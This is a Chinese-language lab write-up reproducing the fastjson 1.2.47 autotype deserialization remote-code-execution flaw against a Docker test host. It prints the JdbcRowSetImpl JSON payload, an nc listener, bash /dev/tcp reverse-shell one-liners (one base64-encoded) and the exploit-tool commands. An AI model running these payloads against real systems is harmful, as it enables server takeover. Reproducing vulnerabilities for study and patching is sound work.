fastjson漏洞復現
漏洞產生原因
fastjson提供了autotype功能,在請求過程中,我們可以在請求包中通過修改@type的值,來反序列化為指定的型別,而fastjson在反序列化過程中會設定和獲取類中的屬性,如果類中存在惡意方法,就會導致程式碼執行漏洞產生。
檢視fastjson漏洞利用工具的pyload
payload = """ { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "%s", "autoCommit": true } }
漏洞環境
漏洞主機 kali2020 ip地址:192.168.177.137
接收反彈shell主機 kali2018 ip地址:192.168.177.128
執行惡意Java類的主機和含有RMI服務主機 win10物理主機 ip地址:192.168.177.1
kali2020使用docker搭建fastjson1.2.47漏洞環境
漏洞復現
工具下載
https://github.com/zhzyker/exphub/tree/master/
kali 2018 監聽埠
nc -lvp 8888
物理機執行RMI服務,載入惡意java類
bash -i >& /dev/tcp/192.168.177.128/8888 0>&1 //轉換成可執行程式碼 java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.177.1 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
傳送反序列化程式碼漏洞執行命令
python3 fastjson-1.2.47_rce.py http://192.168.177.137:8090 rmi://192.168.177.1:9999/Object
無法反彈shell
檢視埠監聽情況,反彈shell,都不成功的,在肉雞上直接執行命令,kali2018直接獲取shell:
sudo bash -i >& /dev/tcp/192.168.177.128/8888 0>&1
檢視程式碼發現載入惡意java類時base64編碼時源地址寫錯了,導致程式碼執行不出去!!!
修改完以後還是不行,進行web訪問fastjson地址發現訪問不了(kali顯示已啟動),進行fastjson環境重啟,再次訪問web沒有問題
再次執行上面命令,成功反彈shell
漏洞修復
升級最新版本,具體參見漏洞修復
參考連結
https://www.cnblogs.com/renhaoblog/p/13033723.html
https://www.freebuf.com/vuls/178012.html
免責宣告
嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 後果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !